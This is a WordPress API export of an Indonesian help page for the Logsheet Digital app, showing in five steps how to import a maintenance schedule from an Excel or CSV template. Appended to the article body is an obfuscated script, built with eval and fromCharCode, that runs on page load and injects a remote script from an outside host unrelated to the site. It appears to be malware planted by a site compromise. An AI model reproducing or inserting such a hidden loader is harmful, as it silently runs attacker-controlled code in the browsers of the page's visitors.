{"id":488,"date":"2022-11-19T03:08:46","date_gmt":"2022-11-19T03:08:46","guid":{"rendered":"https:\/\/help.logsheet.digital\/?docs=konfigurasi-aplikasi-digital-logsheet\/setting-penjadwalan\/import-manual-schedule-by-excel"},"modified":"2022-11-21T02:56:23","modified_gmt":"2022-11-21T02:56:23","slug":"import-manual-schedule-by-excel","status":"publish","type":"docs","link":"https:\/\/help.logsheet.digital\/?docs=konfigurasi-aplikasi-digital-logsheet\/setting-penjadwalan\/import-manual-schedule-by-excel","title":{"rendered":"Import Manual Schedule by Excel"},"content":{"rendered":"\n<p>Selain menambahkan &#8220;Schedule&#8221; secara manual seperti yang sudah di bahas pada langkah-langkah sebelumnya. pada pembahasan kali ini, kita akan membahas bagaimana cara menambahkan &#8220;Schedule&#8221; dengan cara &#8220;Import&#8221;. Nah disini kita fokus pada pembahasan penambahan &#8220;Schedule&#8221; dengan menggunakan &#8220;Import&#8221; dulu oke!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Menambahkan &#8220;Schedule&#8221; melalui &#8220;Import&#8221;<\/strong><\/h2>\n\n\n\n<p>Logsheet Digital memfasilitasi sobat Logsheet untuk menambahkan data Schedule, ada 2 cara dalam menambahkan data dalam Logsheet Digital ini, yaitu menambahkan secara manual &#8220;Add&#8221; dan menambahkan data secara otomatis &#8220;Import&#8221;. Nah bagaimana caranya untuk menambahkan data secara otomatis &#8220;Import&#8221;?. Simak baik-baik cara menambahkan data otomatis &#8220;Import&#8221;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>1. Masuk ke menu setting &#8220;Schedule&#8221; -> klik<\/strong> <strong>&#8220;Raw Data&#8221; -> pilih &#8220;Import&#8221;<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-94-1024x506.png\" alt=\"\" class=\"wp-image-490\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-94-1024x506.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-94-300x148.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-94-768x380.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-94.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Dari &#8220;Dashboard&#8221;, masuk ke menu master setting &#8220;Schedule&#8221;. Kemudian akan tampil halaman &#8220;Calender&#8221;. Klik  &#8220;Raw Data&#8221;, lalu pilih &#8220;Import&#8221; untuk melakukan import data &#8220;Schedule&#8221;. Sobat Logsheet perlu melewati 3(tiga) langkah untuk melakukan import data, yaitu Upload file, review data, kemudian import data, Import data berhasil.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2. Pada &#8220;Import&#8221; > Klik &#8220;Browse file atau drag &amp; drop file&#8221;<\/strong> <\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-95-1024x506.png\" alt=\"\" class=\"wp-image-491\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-95-1024x506.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-95-300x148.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-95-768x380.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-95.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Langkah pertama yaitu Upload file. Sebelum melakukan drag &amp; drop file atau mengupload file ke tempat yang sudah di sediakan, ada beberapa syarat dan ketentuan yang berlaku. Logsheet Digital sudah menyiapkan beberapa template dan contoh file sesuai dengan format &#8220;Schedule&#8221; pada sistem Logsheet Digital yang bisa kamu download(1), file template yang sudah ada berbentuk file csv,xlsx. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-96-1024x506.png\" alt=\"\" class=\"wp-image-492\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-96-1024x506.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-96-300x148.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-96-768x380.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-96.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Setelah sobat logsheet mengupload file template maka akan muncul peringatan diatas, sobat logsheet cukup menekan &#8220;OK&#8221; kemudian sobat logsheet memilih asset mana yang akan diatur schedulenya.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>3. Pilih &#8220;Asset&#8221; -> Klik &#8220;Next&#8221;<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-97-1024x506.png\" alt=\"\" class=\"wp-image-493\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-97-1024x506.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-97-300x148.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-97-768x380.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-97.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Setelah menentukan &#8220;Asset&#8221; yang akan di setting schedulenya kemudian sobat logsheet menekan tombol &#8220;Next&#8221; kemudian sobat Logsheet akan di tampilkan halaman preview.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>4. Klik &#8220;Next&#8221; -> pilih &#8220;Save&#8221;<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-98-1024x463.png\" alt=\"\" class=\"wp-image-495\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-98-1024x463.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-98-300x136.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-98-768x347.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-98.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Setelah menekan &#8220;Next&#8221;  maka tampilan akan berubah seperti gambar diatas, kemudian sobat logsheet menekan tombol &#8220;Save&#8221; untuk menyimpan setting schedule secara manual atau menekan &#8220;Prev&#8221; untuk kembali ke halaman seperti gambar pada langkah-langkah nomor 3. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>5. Berhasil &#8220;Menambahkan Schedule Dengan Import &#8220;<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"506\" src=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-99-1024x506.png\" alt=\"\" class=\"wp-image-496\" srcset=\"https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-99-1024x506.png 1024w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-99-300x148.png 300w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-99-768x380.png 768w, https:\/\/help.logsheet.digital\/wp-content\/uploads\/2022\/11\/Coba-99.png 1349w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script>","protected":false},"featured_media":0,"parent":458,"menu_order":2,"comment_status":"open","ping_status":"closed","template":"","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"doc_tag":[],"class_list":["post-488","docs","type-docs","status-publish","hentry"],"comment_count":0,"_links":{"self":[{"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs"}],"about":[{"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/types\/docs"}],"replies":[{"embeddable":true,"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=488"}],"version-history":[{"count":1,"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/488\/revisions"}],"predecessor-version":[{"id":497,"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/488\/revisions\/497"}],"up":[{"embeddable":true,"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/458"}],"next":[{"title":"Generate Automatic Schedule","link":"https:\/\/help.logsheet.digital\/?docs=konfigurasi-aplikasi-digital-logsheet\/setting-penjadwalan\/generate-automatic-schedule","href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/499"}],"prev":[{"title":"Cara Menambah Schedule Secara Manual","link":"https:\/\/help.logsheet.digital\/?docs=konfigurasi-aplikasi-digital-logsheet\/setting-penjadwalan\/cara-menambah-schedule-secara-manual","href":"https:\/\/help.logsheet.digital\/index.php?rest_route=\/wp\/v2\/docs\/473"}],"wp:attachment":[{"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=488"}],"wp:term":[{"taxonomy":"doc_tag","embeddable":true,"href":"https:\/\/help.logsheet.digital\/index.php?rest_route=%2Fwp%2Fv2%2Fdoc_tag&post=488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}